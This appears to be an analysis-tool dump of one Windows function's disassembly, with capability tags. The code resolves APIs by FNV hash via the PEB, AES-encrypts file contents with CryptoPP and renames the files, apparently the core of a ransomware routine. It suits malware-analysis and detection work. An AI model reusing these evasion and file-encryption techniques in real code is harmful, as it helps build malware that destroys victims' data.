Function at 0x429d60
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Move file
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cc4ca
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x100
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x110], edi
mov esi, ecx
mov dword [ebp - 0x100], esi
mov eax, dword [edi + 0x20]
sub eax, 0
je 0x42a381
sub eax, 1
je 0x429fec
sub eax, 1
jne 0x42a726
mov eax, dword [edi + 0x24]
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x38]
push 0x8000
push eax
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x38], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
push 0x30
push edi
call fcn.0047904e
mov ecx, dword [esi + 0x48]
add esp, 8
mov eax, dword [esi + 0x4c]
add ecx, 0x300
mov dword [ebp - 0x60], ecx
adc eax, 0
push 0x14
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x60]
push 8
push eax
lea eax, [ebp - 0xec]
push eax
push dword [esi]
call dword [sym.imp.NTDLL.dll_NtSetInformationFile]
mov ecx, 0x20
lea eax, [esi + 4]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x429e40
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
add esi, 0x54
call fcn.004299e0
cmp dword [esi + 0x14], 8
mov edx, esi
jb 0x429e68
mov edx, dword [esi]
mov edi, dword [esi + 0x10]
test edi, edi
je 0x429e97
lea eax, [edi - 1]
or ecx, 0xffffffff
cmp eax, ecx
cmovb ecx, eax
cmp word [edx + ecx*2], 0x5c
lea eax, [edx + ecx*2]
je 0x429e91
cmp eax, edx
je 0x429e97
sub eax, 2
cmp word [eax], 0x5c
jne 0x429e84
sub eax, edx
sar eax, 1
jmp 0x429e9a
or eax, 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x44], 0
inc eax
mov word [ebp - 0x54], cx
cmp edi, eax
mov dword [ebp - 0x40], 7
mov ecx, esi
cmovb eax, edi
cmp dword [esi + 0x14], 8
jb 0x429ebe
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x54]
call fcn.0042d9b0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0xa
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x429ed5
sub ecx, edx
lea eax, [ebp - 0x2c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0042db10
cmp dword [0x501c48], 8
lea ecx, [ebp - 0x54]
push dword [0x501c44]
mov eax, 0x501c34
cmovae eax, dword [0x501c34]
push eax
call fcn.0042db10
cmp dword [ebp - 0x40], 8
lea eax, [ebp - 0x54]
mov ecx, esi
cmovae eax, dword [ebp - 0x54]
cmp dword [esi + 0x14], 8
jb 0x429f28
mov ecx, dword [esi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x40]
cmp edx, 8
jb 0x429f71
mov ecx, dword [ebp - 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x429f67
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a744
push edx
push ecx
call fcn.0047904e
add esp, 8
mov ecx, dword [esi + 0x14]
xor eax, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 7
mov word [ebp - 0x54], ax
cmp ecx, 8
jb 0x429fbe
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x429fb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a744
mov eax, edx
push ecx
push eax
call fcn.0047904e
add esp, 8
mov ecx, dword [ebp - 0x100]
xor eax, eax
push 0x70
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
push ecx
mov word [esi], ax
call fcn.0047904e
add esp, 8
call fcn.00427600
jmp 0x42a726
mov eax, dword [edi + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0x30]
push 0x8000
push eax
lea eax, [ebp - 0xf4]
mov dword [ebp - 0x30], 0
push eax
call esi
push eax
call dword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov edx, dword [ebp - 0x100]
or ecx, 0xffffffff
lea eax, [edx + 0x3c]
lock xadd dword [eax], ecx
lea eax, [ecx - 1]
test eax, eax
jne 0x42a726
push dword [edx + 0x38]
call fcn.004790da
add esp, 4
push 0x30
call fcn.0047901e
mov ecx, dword [ebp - 0x100]
mov edi, eax
xor edx, edx
mov dword [ebp - 0x10c], edi
mov eax, 0x300
add esp, 4
mov ecx, dword [ecx + 0x50]
div ecx
test edx, edx
jne 0x42a070
mov ecx, 0x300
jmp 0x42a078
sub ecx, edx
add ecx, 0x300
mov dword [edi + 0x28], ecx
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x100]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [ebp - 0xf0], 0
mov eax, dword [ecx + 0x48]
mov dword [edi + 8], eax
mov eax, dword [ecx + 0x4c]
mov dword [edi + 0xc], eax
mov eax, dword [edi + 0x28]
mov dword [edi + 0x20], 2
mov edi, dword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
mov dword [ebp - 0x34], eax
nop word [eax + eax]
push 4
push 0x3000
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0xf0]
push eax
call esi
push eax
call edi
test eax, eax
jne 0x42a0c0
mov eax, dword [ebp - 0x10c]
mov ecx, 0x1f
mov edi, dword [ebp - 0xf0]
mov esi, 0x508828
mov dword [eax + 0x24], edi
add edi, 0x284
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x100]
cmp dword [edi + 0x68], 8
lea eax, [edi + 0x54]
jb 0x42a10f
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edx, eax
lea esi, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42a120
sub eax, esi
mov esi, dword [ebp - 0xf0]
sar eax, 1
add eax, eax
push eax
push edx
lea eax, [esi + 0x3c]
push eax
call fcn.004918f0
mov eax, dword [edi + 0x40]
lea edx, [esi + 0x248]
mov dword [esi + 0x30], eax
add esp, 0xc
mov eax, dword [edi + 0x44]
mov ecx, esi
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x50]
mov dword [esi + 0x38], eax
movups xmm0, xmmword [edi + 4]
push 0x5088a4
push 0x248
movups xmmword [esi], xmm0
movups xmm0, xmmword [edi + 0x14]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [edi + 0x24]
movups xmmword [esi + 0x20], xmm0
call fcn.00445c70
mov ecx, dword [0x509178]
add esp, 8
test ecx, ecx
jne 0x42a349
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0x104], 0x740a4fbd
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
mov dword [ebp - 0x108], eax
movzx ecx, cx
test esi, esi
je 0x42a222
shr ecx, 1
xor esi, esi
mov dword [ebp - 0xf0], 0x83b454d4
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42a210
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, eax
inc esi
imul eax, ecx, 0x1000193
cmp esi, edi
jne 0x42a1f1
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x108]
mov esi, dword [ebp - 0xfc]
cmp dword [ebp - 0xf0], esi
jne 0x42a2a0
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xf8], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x38], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x42a29a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42a29a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0x83b454d4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x42a285
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x42a270
cmp esi, dword [ebp - 0x104]
je 0x42a2a7
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42a252
mov esi, dword [ebp - 0xfc]
mov eax, dword [eax]
jmp 0x42a1b4
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0xf8]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
add ecx, edx
cmp ecx, esi
jbe 0x42a33d
mov eax, dword [ebp - 0x38]
add eax, esi
cmp ecx, eax
jae 0x42a33d
mov al, byte [ecx]
mov esi, 0x83b454d4
mov dword [ebp - 0xfc], esi
mov edx, esi
mov dword [ebp - 0x104], edx
cmp al, 0x2e
je 0x42a308
nop dword [eax + eax]
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42a2f0
mov dword [ebp - 0xfc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42a32a
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42a310
mov dword [ebp - 0x104], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42a1b4
mov edi, dword [ebp - 0x100]
mov dword [0x509178], ecx
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 0x3c]
push eax
push edx
push dword [eax + 0x28]
push dword [eax + 0x24]
push dword [edi]
call ecx
test eax, eax
jne 0x42a726
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x42a726
call fcn.00427600
jmp 0x42a726
push 0x7c
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.004923f0
add esp, 0xc
lea eax, [ebp - 0x94]
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x3c], eax
push 1
call fcn.00452530
push 0
push 0
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x80], 0x3fffffff
mov dword [ebp - 0x7c], 0
call fcn.0042eba0
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x94], vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov dword [ebp - 0x90], vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
push 1
lea ecx, [ebp - 0xdc]
mov dword [ebp - 4], 2
call fcn.00452530
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd0], 0xffffffff
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xbc], 0xffffffff
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
push 1
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 6
call fcn.00452530
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x94]
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xe0], 0x4ed4dc
mov dword [ebp - 0xdc], 0x4ed43c
mov dword [ebp - 0xc4], 0x4ed548
mov dword [ebp - 0xb0], 0x4ed600
mov dword [ebp - 0xd8], eax
call fcn.00456b90
mov dword [ebp - 4], 9
lea ecx, [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax + 0x20]
call eax
push eax
lea eax, [esi + 0x24]
push eax
push 0x20
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0xe0]
call fcn.004547d0
mov esi, dword [esi + 0x34]
mov eax, dword [edi + 0x1c]
mul esi
mov ecx, eax
mov eax, dword [edi + 0x18]
mul esi
add ecx, edx
push ecx
push eax
lea ecx, [ebp - 0xdc]
call fcn.004566f0
mov ecx, dword [ebp - 0x100]
mov eax, dword [edi + 0x24]
push dword [ecx + 0x34]
lea ecx, [ebp - 0xdc]
push eax
push eax
call fcn.004561b0
mov dword [edi + 0x20], 1
mov ecx, dword [0x50914c]
test ecx, ecx
jne 0x42a6ed
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0x108], 0x399ffaa7
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
mov dword [ebp - 0x10c], eax
movzx ecx, cx
test esi, esi
je 0x42a5cd
shr ecx, 1
xor esi, esi
mov dword [ebp - 0x104], 0xcde46806
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42a5bf
mov eax, dword [ebp - 0x104]
nop
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, eax
inc esi
imul eax, ecx, 0x1000193
cmp esi, edi
jne 0x42a5a0
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x10c]
mov esi, dword [ebp - 0xfc]
cmp dword [ebp - 0x104], esi
jne 0x42a646
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x30], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0xf8], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xf4], ecx
cmp ecx, esi
je 0x42a640
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42a640
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x34], ecx
mov ecx, dword [ecx]
add ecx, esi
mov esi, 0xcde46806
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x42a62c
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x42a617
mov edx, dword [ebp - 0x108]
cmp esi, edx
je 0x42a64d
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42a600
mov esi, dword [ebp - 0xfc]
mov eax, dword [eax]
jmp 0x42a561
mov esi, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x30]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
add ecx, edx
cmp ecx, esi
jbe 0x42a6e1
mov eax, dword [ebp - 0xf8]
add eax, esi
cmp ecx, eax
jae 0x42a6e1
mov al, byte [ecx]
mov esi, 0xcde46806
mov dword [ebp - 0xfc], esi
mov edx, esi
mov dword [ebp - 0x108], edx
cmp al, 0x2e
je 0x42a6ac
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42a694
mov dword [ebp - 0xfc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42a6ce
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42a6b4
mov dword [ebp - 0x108], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42a561
mov edi, dword [ebp - 0x110]
mov dword [0x50914c], ecx
push edi
lea eax, [ebp - 0xe4]
push eax
mov eax, dword [ebp - 0x100]
push dword [eax + 0x34]
push dword [edi + 0x24]
push dword [eax]
call ecx
test eax, eax
jne 0x42a71b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x42a71b
call fcn.00427600
lea ecx, [ebp - 0xe0]
call fcn.0042a750
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047900d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0049a859
int3